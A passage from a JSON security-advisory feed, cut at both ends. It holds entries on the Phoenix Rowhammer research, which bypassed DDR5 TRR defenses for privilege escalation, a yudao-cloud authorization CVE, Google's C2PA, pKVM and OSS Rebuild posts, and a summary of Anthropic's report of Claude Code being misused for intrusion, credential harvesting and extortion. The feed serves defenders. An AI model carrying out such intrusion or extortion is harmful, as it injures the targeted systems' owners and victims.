Antmicro designed and manufactured these open-source platforms and we worked closely with them, and researchers from ETH Zurich, to test the applicability of these platforms for analyzing off-the-shelf memory modules in RDIMM and SO-DIMM forms. \n\n Antmicro DDR5 RDIMM FPGA test platform in action. \n\n Phoenix Attacks on DDR5 \n\n In collaboration with researchers from ETH, we applied the new Rowhammer test platforms to evaluate the effectiveness of current in-DRAM DDR5 mitigations. Our findings, detailed in the recently co-authored \" Phoenix ” research paper, reveal that we successfully developed custom attack patterns capable of bypassing enhanced TRR (Target Row Refresh) defense on DDR5 memory. We were able to create a novel self-correcting refresh synchronization attack technique, which allowed us to perform the first-ever Rowhammer privilege escalation exploit on a standard, production-grade desktop system equipped with DDR5 memory. While this experiment was conducted on an off-the-shelf workstation equipped with recent AMD Zen processors and SK Hynix DDR5 memory, we continue to investigate the applicability of our findings to other hardware configurations. \n\n Lessons learned \n\n We showed that current mitigations for Rowhammer attacks are not sufficient, and the issue remains a widespread problem across the industry. They do make it more difficult “but not impossible” to carry out attacks, since an attacker needs an in-depth understanding of the specific memory subsystem architecture they wish to target. \n\n Current mitigations based on TRR and ECC rely on probabilistic countermeasures that have insufficient entropy. Once an analyst understands how TRR operates, they can craft specific memory access patterns to bypass it. Furthermore, current ECC schemes were not designed as a security measure and are therefore incapable of reliably detecting errors. \n\n Memory encryption is an alternative countermeasure for Rowhammer. However, our current assessment is that without cryptographic integrity, it offers no valuable defense against Rowhammer. More research is needed to develop viable, practical encryption and integrity solutions. \n\n Path forward \n\n Google has been a leader in JEDEC standardization efforts, for instance with PRAC , a fully approved standard to be s","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-09-15T17:01:00.000Z","updatedAt":"2025-09-15T17:01:03.999Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Supporting Rowhammer research to protect the DRAM ecosystem","url":"https://security.googleblog.com/2025/09/supporting-rowhammer-research-to.html","type":"primary","publishedAt":"2025-09-15T17:01:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-10277","cveId":"CVE-2025-10277","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit.","summary":"A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit. The manipulation of the argument ID results in improper authorization. The attack can be executed remotely. The exploit is now public and may be used. The patch is identified as 0f573e1d8e1a895e1bcbb7740ef75306412c3f9d (master-jdk17). It is best practice to apply a patch to resolve this issue.","detail":"A vulnerability was detected in YunaiV yudao-cloud up to 2025.09. This issue affects some unknown processing of the file /crm/receivable/submit. The manipulation of the argument ID results in improper authorization. The attack can be executed remotely. The exploit is now public and may be used. The patch is identified as 0f573e1d8e1a895e1bcbb7740ef75306412c3f9d (master-jdk17). It is best practice to apply a patch to resolve this issue.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2025-09-12T03:15:41.287Z","updatedAt":"2026-10-26T17:17:10.983Z","regions":["Global"],"vendor":"iocoder","product":"yudao-cloud","stacks":["Iocoder","yudao-cloud"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-10277","asOf":"2026-10-26T17:17:10.983Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2025-10277","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-10277","type":"primary","publishedAt":"2025-09-12T03:15:41.287Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"google-security-pixel-android-trusted-images-c2pa-content-credentials-eb0d883ae789","cveId":null,"aliases":[],"kind":"advisory","title":"How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials","summary":"Posted by Eric Lynch, Senior Product Manager, Android Security, and Sherif Hanna, Group Product Manager, Google C2PA Core \n\nAt Made by Google 2025, we announced that the new Google Pixel 10 phones will support C2PA Content Credentials in Pixel Camera and Google Photos . This announcement represents a series of steps towards greater digital media transparency:\n\n The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera.\n\n The Pixel Camera app achieved Assurance Level 2 , the highest security rating currently defined by the C2PA Conformance Program. Assurance Level 2 for a mobile app is currently only possible on the Android platform .\n\n A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them.\n\n Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline.\n\nThese capabilities are powered by Google Tensor G5 , Titan M2 security chip, the advanced hardware-backed security features of the Android platform, and Pixel engineering expertise. \n\nIn this post, we’ll break down our architectural blueprint for bringing a new level of trust to digital media, and how developers can apply this model to their own apps on Android.\n\n A New Approach to Content Credentials \n\nGenerative AI can help us all to be more creative, productive, and innovative. But it can be hard to tell the difference between content that’s been AI-generated, and content created without AI. The ability to verify the source and history—or provenance—of digital content is more important than ever.\n\nContent Credentials convey a rich set of information about how media such as images, videos, or audio files were made, protected by the same digital signature technology that has secured online transactions and mobi","detail":"Posted by Eric Lynch, Senior Product Manager, Android Security, and Sherif Hanna, Group Product Manager, Google C2PA Core \n\nAt Made by Google 2025, we announced that the new Google Pixel 10 phones will support C2PA Content Credentials in Pixel Camera and Google Photos . This announcement represents a series of steps towards greater digital media transparency:\n\n The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera.\n\n The Pixel Camera app achieved Assurance Level 2 , the highest security rating currently defined by the C2PA Conformance Program. Assurance Level 2 for a mobile app is currently only possible on the Android platform .\n\n A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them.\n\n Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline.\n\nThese capabilities are powered by Google Tensor G5 , Titan M2 security chip, the advanced hardware-backed security features of the Android platform, and Pixel engineering expertise. \n\nIn this post, we’ll break down our architectural blueprint for bringing a new level of trust to digital media, and how developers can apply this model to their own apps on Android.\n\n A New Approach to Content Credentials \n\nGenerative AI can help us all to be more creative, productive, and innovative. But it can be hard to tell the difference between content that’s been AI-generated, and content created without AI. The ability to verify the source and history—or provenance—of digital content is more important than ever.\n\nContent Credentials convey a rich set of information about how media such as images, videos, or audio files were made, protected by the same digital signature technology that has secured online transactions and mobile apps for decades. It empowers users to identify AI-generated (or altered) content, helping to foster transparency and trust in generative AI. It can be complemented by watermarking technologies such as SynthID . \n\nContent Credentials are an industry standard backed by a broad coalition of leading companies for securely conveying the origin and history of media files. The standard is developed by the Coalition for Content Provenance and Authenticity (C2PA), of which Google is a steering committee member.\n\nThe traditional approach to classifying digital image content has focused on categorizing content as “AI” vs. “not AI”. This has been the basis for many legislative efforts , which have required the labeling of synthetic media. This traditional approach has drawbacks, as described in Chapter 5 of this seminal report by Google. Research shows that if only synthetic content is labeled as “AI”, then users falsely believe unlabeled content is “not AI”, a phenomenon called “the implied truth effect”. This is why Google is taking a different approach to applying C2PA Content Credentials. \n\nInstead of categorizing digital content into a simplistic “AI” vs. “not AI”, Pixel 10 takes the first steps toward implementing our vision of categorizing digital content as either i) media that comes with verifiable proof of how it was made or ii) media that doesn't. \n\n Pixel Camera attaches Content Credentials to any JPEG photo capture, with the appropriate description as defined by the Content Credentials specification for each capture mode. \n\n Google Photos attaches Content Credentials to JPEG images that already have Content Credentials and are edited using AI or non-AI tools, and also to any images that are edited using AI tools. It will validate and display Content Credentials under a new section in the About panel, if the JPEG image being viewed contains this data. Learn more about it in Google Photos Help .\n\nGiven the broad range of scenarios in which Content Credentials are attached by these apps, we designed our C2PA implementation architecture from the onset to be:\n\n Secure from silicon to applications \n\n Verifiable, not personally identifiable \n\n Useable offline \n\n Secure from Silicon to Applications\n\nGood actors in the C2PA ecosystem are motivated to ensure that provenance data is trustworthy. C2PA Certification Authorities (CAs), such as Google, are incentivized to only issue certificates to genuine instances of apps from trusted developers in order to prevent bad actors from undermining the system. Similarly, app developers want to protect their C2PA claim signing keys from unauthorized use. And of course, users want assurance that the media files they rely on come from where they claim. For these reasons, the C2PA defined the Conformance Program. \n\nThe Pixel Camera application on the Pixel 10 lineup has achieved Assurance Level 2 , the highest security rating currently defined by the C2PA Conformance Program. This was made possible by a strong set of hardware-backed technologies, including Tensor G5 and the certified Titan M2 security chip, along with Android’s hardware-backed security APIs. Only mobile apps running on devices that have the necessary silicon features and Android APIs can be designed to achieve this assurance level. We are working with C2PA to help define future assurance levels that will push protections even deeper into hardware. \n\nAchieving Assurance Level 2 requires verifiable, difficult-to-forge evidence. Google has built an end-to-end system on Pixel 10 devices that verifies several key attributes. However, the security of any claim is fundamentally dependent on the integrity of the application and the OS, an integrity that relies on both being kept current with the latest security patches.\n\n Hardware Trust: Android Key Attestation in Pixel 10 is built on support for Device Identifier Composition Engine (DICE) by Tensor, and Remote Key Provisioning (RKP) to establish a trust chain from the moment the device starts up to the OS, stamping out the most common forms of abuse on Android. \n\n Genuine Device and Software: Aided by the hardware trust described above, Android Key Attestation allows Google C2PA Certification Authorities (CAs) to verify that they are communicating with a genuine physical device. It also allows them to verify the device has booted securely into a Play Protect Certified version of Android , and verify how recently the operating system, bootloader, and system software and firmware were patched for security vulnerabilities. \n\n Genuine Application: Hardware-backed Android Key Attestation certificates include the package name and signing certificates associated with the app that requested the generation of the C2PA signing key, allowing Google C2PA CAs to check that the app requesting C2PA claim signing certificates is a trusted, registered app.\n\n Tamper-Resistant Key Storage: On Pixel, C2PA claim signing keys are generated and stored using Android StrongBox in the Titan M2 security chip. Titan M2 is Common Criteria PP.0084 AVA_VAN.5 certified , meaning that it is strongly resistant to extracting or tampering with the cryptographic keys stored in it. Android Key Attestation allows Google C2PA CAs to verify that private keys were indeed created inside this hardware-protected vault before issuing certificates for their public key counterparts.\n\nThe C2PA Conformance Program requires verifiable artifacts backed by a hardware Root of Trust, which Android provides through features like Key Attestation. This means Android developers can leverage these same tools to build apps that meet this standard for their users.\n\n Privacy Built on a Foundation of Trust: Verifiable, Not Personally Identifiable\n\nThe robust security stack we described is the foundation of privacy. But Google takes steps further to ensure your privacy even as you use Content Credentials, which required solving two additional challenges:\n\n Challenge 1: Server-side Processing of Certificate Re","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-09-10T15:59:00.000Z","updatedAt":"2025-09-10T15:59:36.018Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials","url":"https://security.googleblog.com/2025/09/pixel-android-trusted-images-c2pa-content-credentials.html","type":"primary","publishedAt":"2025-09-10T15:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"anthropic-claude-code-extortion-report-2025","cveId":null,"aliases":["anthropic-claude-gov-models-for-u-s-national-security-customers-c38f4a2297fd","anthropic-distillation-defenses-e258fe41ba82","anthropic-frontier-threats-red-teaming-for-ai-safety-8478b13c6bec","anthropic-frontier-model-security-5a51bac8c3b3","anthropic-challenges-in-red-teaming-ai-systems-ed500889a8ff","anthropic-detecting-and-countering-malicious-uses-of-claude-march-2025-f42b1051076d","anthropic-mozilla-firefox-security-95b4de2e9e82","anthropic-claude-code-security-fe5168dbfade","anthropic-fable-safeguards-jailbreak-framework-aaef033dfabe","anthropic-detecting-countering-misuse-aug-2025-fdcaadbbe674","anthropic-introducing-the-anthropic-national-security-and-public-sector-advisory-council-8cf8913d069b","anthropic-cyber-verification-program-2bd8707fdab8","anthropic-investigating-incidents-cybersecurity-evals-8b96329aed14","anthropic-improving-alignment-security-efforts-8ed1599eb95b","anthropic-alberta-government-claude-cybersecurity-33ff9177ca69","anthropic-detecting-and-preventing-distillation-attacks-d3d38ded1c60"],"kind":"advisory","title":"Anthropic reports Claude Code misuse in data extortion","summary":"Anthropic reports disrupting an actor that used Claude Code for reconnaissance, credential harvesting, network intrusion, and analysis of stolen data for extortion. This is attributed provider reporting of actual AI use, not an inference from generic automation.","detail":"Anthropic says it banned associated accounts and shared indicators with authorities. Victim identities and independent confirmation are not supplied in the reviewed article. Its displayed ransom guidance and notes are illustrative simulations, not original attack logs.","action":"Consult the provider's report for its documented misuse pattern and response. The public article does not supply organization-specific remediation instructions or prove outcomes for each targeted victim.","publishedAt":"2025-08-27","updatedAt":"2026-10-20T03:29:07.000Z","regions":["Global"],"vendor":"Anthropic","product":"Claude Code misuse investigation","stacks":["AI coding agents","AI security","Claude Code","Identity","Data protection","Social engineering"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"reported","explanation":"Anthropic directly reports observed misuse of its AI service in an extortion operation. Provider attribution and reported activity are retained without claiming independent verification of victim outcomes.","sourceUrl":"https://www.anthropic.com/news/detecting-countering-misuse-aug-2025"},"sources":[{"name":"Anthropic: Detecting and countering misuse of AI, August 2025","url":"https://www.anthropic.com/news/detecting-countering-misuse-aug-2025","type":"primary","publishedAt":"2025-08-27","checkedAt":"2026-10-26T17:25:56.792Z","supports":"Provider-reported actual AI misuse in extortion, account bans, indicator sharing, and simulation labels on example notes."},{"name":"Anthropic: Challenges in red teaming AI systems","url":"https://www.anthropic.com/news/challenges-in-red-teaming-ai-systems","type":"primary","publishedAt":"2024-06-12T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic sitemap","url":"https://www.anthropic.com/sitemap.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The sitemap listed this exact page and its last update time."},{"name":"Anthropic: Strengthening our defenses against distillation attacks","url":"https://www.anthropic.com/news/distillation-defenses","type":"primary","publishedAt":"2026-10-12T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Claude Gov models for US national security","url":"https://www.anthropic.com/news/claude-gov-models-for-u-s-national-security-customers","type":"primary","publishedAt":"2025-06-06T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Detecting and preventing distillation attacks","url":"https://www.anthropic.com/news/detecting-and-preventing-distillation-attacks","type":"primary","publishedAt":"2026-02-23T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Frontier threats red teaming for AI safety","url":"https://www.anthropic.com/news/frontier-threats-red-teaming-for-ai-safety","type":"primary","publishedAt":"2023-07-26T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Frontier model security","url":"https://www.anthropic.com/news/frontier-model-security","type":"primary","publishedAt":"2023-07-25T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Detecting and countering malicious uses of Claude","url":"https://www.anthropic.com/news/detecting-and-countering-malicious-uses-of-claude-march-2025","type":"primary","publishedAt":"2025-04-23T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Partnering with Mozilla on Firefox security","url":"https://www.anthropic.com/news/mozilla-firefox-security","type":"primary","publishedAt":"2026-03-06T00:00:00.000Z","checkedAt":"2026-10-26T16:25:55.235Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Making frontier cybersecurity capabilities available to defenders","url":"https://www.anthropic.com/news/claude-code-security","type":"primary","publishedAt":"2026-02-20T00:00:00.000Z","checkedAt":"2026-10-26T17:25:56.792Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Fable 5's cyber safeguards and our jailbreak framework","url":"https://www.anthropic.com/news/fable-safeguards-jailbreak-framework","type":"primary","publishedAt":"2026-07-02T00:00:00.000Z","checkedAt":"2026-10-26T17:25:56.792Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: National Security and Public Sector Advisory Council","url":"https://www.anthropic.com/news/introducing-the-anthropic-national-security-and-public-sector-advisory-council","type":"primary","publishedAt":"2025-08-27T00:00:00.000Z","checkedAt":"2026-10-26T17:25:56.792Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Expanding the Cyber Verification Program","url":"https://www.anthropic.com/news/cyber-verification-program","type":"primary","publishedAt":"2026-10-06T00:00:00.000Z","checkedAt":"2026-10-26T17:25:56.792Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Investigating three incidents in our cybersecurity evaluations","url":"https://www.anthropic.com/news/investigating-incidents-cybersecurity-evals","type":"primary","publishedAt":"2026-07-30T00:00:00.000Z","checkedAt":"2026-10-26T17:25:56.792Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Improving our alignment and security practices","url":"https://www.anthropic.com/news/improving-alignment-security-efforts","type":"primary","publishedAt":"2026-08-31T00:00:00.000Z","checkedAt":"2026-10-26T17:25:56.792Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"Anthropic: Alberta uses Claude to find and fix security vulnerabilities","url":"https://www.anthropic.com/news/alberta-government-claude-cybersecurity","type":"primary","publishedAt":"2026-07-06T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"google-security-Android-pKVM-Certified-SESIP-Level-5-7746d02d4673","cveId":null,"aliases":[],"kind":"advisory","title":"Android’s pKVM Becomes First Globally Certified Software to Achieve Prestigious SESIP Level 5 Security Certification","summary":"Posted by Dave Kleidermacher, VP Engineering, Android Security & Privacy \n\nToday marks a watershed moment and new benchmark for open-source security and the future of consumer electronics. Google is proud to announce that protected KVM (pKVM), the hypervisor that powers the Android Virtualization Framework, has officially achieved SESIP Level 5 certification . This makes pKVM the first software security system designed for large-scale deployment in consumer electronics to meet this assurance bar. \n\n Supporting Next-Gen Android Features \n\nThe implications for the future of secure mobile technology are profound. With this level of security assurance, Android is now positioned to securely support the next generation of high-criticality isolated workloads. This includes vital features, such as on-device AI workloads that can operate on ultra-personalized data, with the highest assurances of privacy and integrity.\n\nThis certification required a hands-on evaluation by Dekra , a globally recognized cybersecurity certification lab, which conducted an evaluation against the TrustCB SESIP scheme , compliant to EN-17927 . Achieving Security Evaluation Standard for IoT Platforms (SESIP) Level 5 is a landmark because it incorporates AVA_VAN.5, the highest level of vulnerability analysis and penetration testing under the ISO 15408 (Common Criteria) standard. A system certified to this level has been evaluated to be resistant to highly skilled, knowledgeable, well-motivated, and well-funded attackers who may have insider knowledge and access.\n\nThis certification is the cornerstone of the next-generation of Android’s multi-layered security strategy. Many of the TEEs (Trusted Execution Environments) used in the industry have not been formally certified or have only achieved lower levels of security assurance. This inconsistency creates a challenge for developers looking to build highly critical applications that require a robust and verifiable level of security. The certified pKVM c","detail":"Posted by Dave Kleidermacher, VP Engineering, Android Security & Privacy \n\nToday marks a watershed moment and new benchmark for open-source security and the future of consumer electronics. Google is proud to announce that protected KVM (pKVM), the hypervisor that powers the Android Virtualization Framework, has officially achieved SESIP Level 5 certification . This makes pKVM the first software security system designed for large-scale deployment in consumer electronics to meet this assurance bar. \n\n Supporting Next-Gen Android Features \n\nThe implications for the future of secure mobile technology are profound. With this level of security assurance, Android is now positioned to securely support the next generation of high-criticality isolated workloads. This includes vital features, such as on-device AI workloads that can operate on ultra-personalized data, with the highest assurances of privacy and integrity.\n\nThis certification required a hands-on evaluation by Dekra , a globally recognized cybersecurity certification lab, which conducted an evaluation against the TrustCB SESIP scheme , compliant to EN-17927 . Achieving Security Evaluation Standard for IoT Platforms (SESIP) Level 5 is a landmark because it incorporates AVA_VAN.5, the highest level of vulnerability analysis and penetration testing under the ISO 15408 (Common Criteria) standard. A system certified to this level has been evaluated to be resistant to highly skilled, knowledgeable, well-motivated, and well-funded attackers who may have insider knowledge and access.\n\nThis certification is the cornerstone of the next-generation of Android’s multi-layered security strategy. Many of the TEEs (Trusted Execution Environments) used in the industry have not been formally certified or have only achieved lower levels of security assurance. This inconsistency creates a challenge for developers looking to build highly critical applications that require a robust and verifiable level of security. The certified pKVM changes this paradigm entirely. It provides a single, open-source, and exceptionally high-quality firmware base that all device manufacturers can build upon.\n\nLooking ahead, Android device manufacturers will be required to use isolation technology that meets this same level of security for various security operations that the device relies on. Protected KVM ensures that every user can benefit from a consistent, transparent, and verifiably secure foundation.\n\n A Collaborative Effort \n\nThis achievement represents just one important aspect of the immense, multi-year dedication from the Linux and KVM developer communities and multiple engineering teams at Google developing pKVM and AVF . We look forward to seeing the open-source community and Android ecosystem continue to build on this foundation, delivering a new era of high-assurance mobile technology for users.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-08-12T16:00:00.000Z","updatedAt":"2025-10-06T01:12:36.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Android’s pKVM Becomes First Globally Certified Software to Achieve Prestigious SESIP Level 5 Security Certification","url":"https://security.googleblog.com/2025/08/Android-pKVM-Certified-SESIP-Level-5.html","type":"primary","publishedAt":"2025-08-12T16:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-introducing-oss-rebuild-open-source-a3fe29cc0706","cveId":null,"aliases":[],"kind":"advisory","title":"Introducing OSS Rebuild: Open Source, Rebuilt to Last","summary":"Posted by Matthew Suozzo, Google Open Source Security Team (GOSST) \n\n Today we're excited to announce OSS Rebuild, a new project to strengthen trust in open source package ecosystems by reproducing upstream artifacts. As supply chain attacks continue to target widely-used dependencies, OSS Rebuild gives security teams powerful data to avoid compromise without burden on upstream maintainers. \n\n The project comprises: \n\n Automation to derive declarative build definitions for existing PyPI (Python), npm (JS/TS), and Crates.io (Rust) packages. \n\n SLSA Provenance for thousands of packages across our supported ecosystems, meeting SLSA Build Level 3 requirements with no publisher intervention. \n\n Build observability and verification tools that security teams can integrate into their existing vulnerability management workflows. \n\n Infrastructure definitions to allow organizations to easily run their own instances of OSS Rebuild to rebuild, generate, sign, and distribute provenance. \n\n Challenges \n\n Open source software has become the foundation of our digital world. From critical infrastructure to everyday applications, OSS components now account for 77% of modern applications. With an estimated value exceeding $12 trillion , open source software has never been more integral to the global economy. \n\n Yet this very ubiquity makes open source an attractive target: Recent high-profile supply chain attacks have demonstrated sophisticated methods for compromising widely-used packages. Each incident erodes trust in open ecosystems, creating hesitation among both contributors and consumers. \n\n The security community has responded with initiatives like OpenSSF Scorecard , pypi's Trusted Publishers , and npm's native SLSA support . However, there is no panacea: Each effort targets a certain aspect of the problem, often making tradeoffs like shifting work onto publishers and maintainers. \n\n Our Aim \n\n Our aim with OSS Rebuild is to empower the security community to deeply understand","detail":"Posted by Matthew Suozzo, Google Open Source Security Team (GOSST) \n\n Today we're excited to announce OSS Rebuild, a new project to strengthen trust in open source package ecosystems by reproducing upstream artifacts. As supply chain attacks continue to target widely-used dependencies, OSS Rebuild gives security teams powerful data to avoid compromise without burden on upstream maintainers. \n\n The project comprises: \n\n Automation to derive declarative build definitions for existing PyPI (Python), npm (JS/TS), and Crates.io (Rust) packages. \n\n SLSA Provenance for thousands of packages across our supported ecosystems, meeting SLSA Build Level 3 requirements with no publisher intervention. \n\n Build observability and verification tools that security teams can integrate into their existing vulnerability management workflows. \n\n Infrastructure definitions to allow organizations to easily run their own instances of OSS Rebuild to rebuild, generate, sign, and distribute provenance. \n\n Challenges \n\n Open source software has become the foundation of our digital world. From critical infrastructure to everyday applications, OSS components now account for 77% of modern applications. With an estimated value exceeding $12 trillion , open source software has never been more integral to the global economy. \n\n Yet this very ubiquity makes open source an attractive target: Recent high-profile supply chain attacks have demonstrated sophisticated methods for compromising widely-used packages. Each incident erodes trust in open ecosystems, creating hesitation among both contributors and consumers. \n\n The security community has responded with initiatives like OpenSSF Scorecard , pypi's Trusted Publishers , and npm's native SLSA support . However, there is no panacea: Each effort targets a certain aspect of the problem, often making tradeoffs like shifting work onto publishers and maintainers. \n\n Our Aim \n\n Our aim with OSS Rebuild is to empower the security community to deeply understand and control their supply chains by making package consumption as transparent as using a source repository. Our rebuild platform unlocks this transparency by utilizing a declarative build process, build instrumentation, and network monitoring capabilities which, within the SLSA Build framework, produces fine-grained, durable, trustworthy security metadata. \n\n Building on the hosted infrastructure model that we pioneered with OSS Fuzz for memory issue detection, OSS Rebuild similarly seeks to use hosted resources to address security challenges in open source, this time aimed at securing the software supply chain. \n\n Our vision extends beyond any single ecosystem: We are committed to bringing supply chain transparency and security to all open source software development. Our initial support for the PyPI (Python), npm (JS/TS), and Crates.io (Rust) package registries—providing rebuild provenance for many of their most popular packages—is just the beginning of our journey. \n\n How OSS Rebuild Works \n\n Through automation and heuristics, we determine a prospective build definition for a target package and rebuild it. We semantically compare the result with the existing upstream artifact, normalizing each one to remove instabilities that cause bit-for-bit comparisons to fail (e.g. archive compression). Once we reproduce the package, we publish the build definition and outcome via SLSA Provenance . This attestation allows consumers to reliably verify a package's origin within the source history, understand and repeat its build process, and customize the build from a known-functional baseline (or maybe even use it to generate more detailed SBOMs ). \n\n With OSS Rebuild's existing automation for PyPI, npm, and Crates.io, most packages obtain protection effortlessly without user or maintainer intervention. Where automation isn't currently able to fully reproduce the package, we offer manual build specification so the whole community benefits from individual contributions. \n\n And we are also excited at the potential for AI to help reproduce packages: Build and release processes are often described in natural language documentation 